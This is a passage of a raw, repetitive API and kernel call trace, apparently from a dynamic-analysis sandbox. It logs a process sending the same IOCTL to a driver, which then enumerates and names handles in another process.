dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.306] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.306] PsAcquireProcessExitSynchronization () returned 0x0 [0093.306] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.306] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800302d280, HandleInformation=0x0) returned 0x0 [0093.306] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.306] PsReleaseProcessExitSynchronization () returned 0x2 [0093.306] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.306] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.306] ObfDereferenceObject (Object=0xfffffa800302d280) returned 0x1 [0093.306] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.307] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.307] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.307] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0093.307] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.307] PsAcquireProcessExitSynchronization () returned 0x0 [0093.307] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.307] ObReferenceObjectByHandle (in: Handle=0x1b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001049560, HandleInformation=0x0) returned 0x0 [0093.307] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.307] PsReleaseProcessExitSynchronization () returned 0x2 [0093.307] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.307] ObQueryNameString (in: Object=0xfffff8a001049560, ObjectNameInfo=0xfffffa800211e044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800211e044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.307] ObfDereferenceObject (Object=0xfffff8a001049560) returned 0x2 [0093.307] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.307] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.307] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.307] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0093.307] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.307] PsAcquireProcessExitSynchronization () returned 0x0 [0093.307] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.307] ObReferenceObjectByHandle (in: Handle=0x2a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800302c5d0, HandleInformation=0x0) returned 0x0 [0093.307] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.307] PsReleaseProcessExitSynchronization () returned 0x2 [0093.307] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.307] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.307] ObfDereferenceObject (Object=0xfffffa800302c5d0) returned 0x1 [0093.307] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.307] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.307] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.307] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.307] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.307] PsAcquireProcessExitSynchronization () returned 0x0 [0093.307] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.307] ObReferenceObjectByHandle (in: Handle=0x354, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030a0820, HandleInformation=0x0) returned 0x0 [0093.307] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.308] PsReleaseProcessExitSynchronization () returned 0x2 [0093.308] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.308] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.308] ObfDereferenceObject (Object=0xfffffa80030a0820) returned 0x1 [0093.308] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.308] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.308] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.308] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0093.308] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.308] PsAcquireProcessExitSynchronization () returned 0x0 [0093.308] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.308] ObReferenceObjectByHandle (in: Handle=0x358, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030a0bb0, HandleInformation=0x0) returned 0x0 [0093.308] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.308] PsReleaseProcessExitSynchronization () returned 0x2 [0093.308] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.308] ObQueryNameString (in: Object=0xfffffa80030a0bb0, ObjectNameInfo=0xfffffa8002012044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002012044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.308] ObfDereferenceObject (Object=0xfffffa80030a0bb0) returned 0x1 [0093.308] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.308] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.308] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.308] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.308] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.308] PsAcquireProcessExitSynchronization () returned 0x0 [0093.308] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.308] ObReferenceObjectByHandle (in: Handle=0x390, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800829a350, HandleInformation=0x0) returned 0x0 [0093.308] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.308] PsReleaseProcessExitSynchronization () returned 0x2 [0093.308] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.308] ObQueryNameString (in: Object=0xfffffa800829a350, ObjectNameInfo=0xfffffa8003a7f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7f044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.308] ObfDereferenceObject (Object=0xfffffa800829a350) returned 0x1 [0093.308] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.308] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.309] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.309] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0093.309] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.309] PsAcquireProcessExitSynchronization () returned 0x0 [0093.309] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.309] ObReferenceObjectByHandle (in: Handle=0x3c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80118c8540, HandleInformation=0x0) returned 0x0 [0093.309] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.309] PsReleaseProcessExitSynchronization () returned 0x2 [0093.309] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.309] ObQueryNameString (in: Object=0xfffffa80118c8540, ObjectNameInfo=0xfffffa800399a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800399a044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.309] ObfDereferenceObject (Object=0xfffffa80118c8540) returned 0x1 [0093.309] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.309] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.309] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.309] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0093.309] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.309] PsAcquireProcessExitSynchronization () returned 0x0 [0093.309] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.309] ObReferenceObjectByHandle (in: Handle=0x3c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80118c82a0, HandleInformation=0x0) returned 0x0 [0093.309] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.309] PsReleaseProcessExitSynchronization () returned 0x2 [0093.309] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.309] ObQueryNameString (in: Object=0xfffffa80118c82a0, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.309] ObfDereferenceObject (Object=0xfffffa80118c82a0) returned 0x2 [0093.309] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.309] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.309] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.309] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0093.309] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.309] PsAcquireProcessExitSynchronization () returned 0x0 [0093.309] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.310] ObReferenceObjectByHandle (in: Handle=0x3c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800308f070, HandleInformation=0x0) returned 0x0 [0093.310] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.310] PsReleaseProcessExitSynchronization () returned 0x2 [0093.310] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.310] ObQueryNameString (in: Object=0xfffffa800308f070, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.310] ObfDereferenceObject (Object=0xfffffa800308f070) returned 0x1 [0093.310] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.310] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.310] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.310] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0093.310] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.310] PsAcquireProcessExitSynchronization () returned 0x0 [0093.310] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.310] ObReferenceObjectByHandle (in: Handle=0x534, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800343ed10, HandleInformation=0x0) returned 0x0 [0093.310] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.310] PsReleaseProcessExitSynchronization () returned 0x2 [0093.310] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.310] ObQueryNameString (in: Object=0xfffffa800343ed10, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.310] ObfDereferenceObject (Object=0xfffffa800343ed10) returned 0x2 [0093.310] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.310] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.310] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.310] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.310] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.310] PsAcquireProcessExitSynchronization () returned 0x0 [0093.310] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.310] ObReferenceObjectByHandle (in: Handle=0x5a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031f0a80, HandleInformation=0x0) returned 0x0 [0093.310] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.310] PsReleaseProcessExitSynchronization () returned 0x2 [0093.310] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.310] ObQueryNameString (in: Object=0xfffffa80031f0a80, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.310] ObfDereferenceObject (Object=0xfffffa80031f0a80) returned 0x1 [0093.311] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.311] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.311] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.311] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.311] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.311] PsAcquireProcessExitSynchronization () returned 0x0 [0093.311] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.311] ObReferenceObjectByHandle (in: Handle=0x5b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031ee8f0, HandleInformation=0x0) returned 0x0 [0093.311] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.311] PsReleaseProcessExitSynchronization () returned 0x2 [0093.311] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.311] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.311] ObfDereferenceObject (Object=0xfffffa80031ee8f0) returned 0x1 [0093.311] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.311] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.311] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.311] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xb6, lpOverlapped=0x0) returned 1 [0093.311] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.311] PsAcquireProcessExitSynchronization () returned 0x0 [0093.311] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.311] ObReferenceObjectByHandle (in: Handle=0x600, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8010dc5b80, HandleInformation=0x0) returned 0x0 [0093.311] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.311] PsReleaseProcessExitSynchronization () returned 0x2 [0093.311] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.311] ObQueryNameString (in: Object=0xfffffa8010dc5b80, ObjectNameInfo=0xfffffa8002011044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002011044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.311] ObfDereferenceObject (Object=0xfffffa8010dc5b80) returned 0x2 [0093.311] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.311] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.311] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.311] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0093.311] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.311] PsAcquireProcessExitSynchronization () returned 0x0 [0093.311] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.311] ObReferenceObjectByHandle (in: Handle=0x608, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8010dc5970, HandleInformation=0x0) returned 0x0 [0093.312] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.312] PsReleaseProcessExitSynchronization () returned 0x2 [0093.312] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.312] ObQueryNameString (in: Object=0xfffffa8010dc5970, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.312] ObfDereferenceObject (Object=0xfffffa8010dc5970) returned 0x2 [0093.312] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.312] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.312] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.312] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.312] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.312] PsAcquireProcessExitSynchronization () returned 0x0 [0093.312] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.312] ObReferenceObjectByHandle (in: Handle=0x724, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80035681b0, HandleInformation=0x0) returned 0x0 [0093.312] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.312] PsReleaseProcessExitSynchronization () returned 0x2 [0093.312] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.312] ObQueryNameString (in: Object=0xfffffa80035681b0, ObjectNameInfo=0xfffffa8002061044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002061044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.312] ObfDereferenceObject (Object=0xfffffa80035681b0) returned 0x2 [0093.312] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.312] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.312] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.312] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.312] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.312] PsAcquireProcessExitSynchronization () returned 0x0 [0093.312] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880052335d0) [0093.312] ObReferenceObjectByHandle (in: Handle=0x734, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8010307f20, HandleInformation=0x0) returned 0x0 [0093.312] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.312] PsReleaseProcessExitSynchronization () returned 0x2 [0093.312] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe4 [0093.312] ObQueryNameString (in: 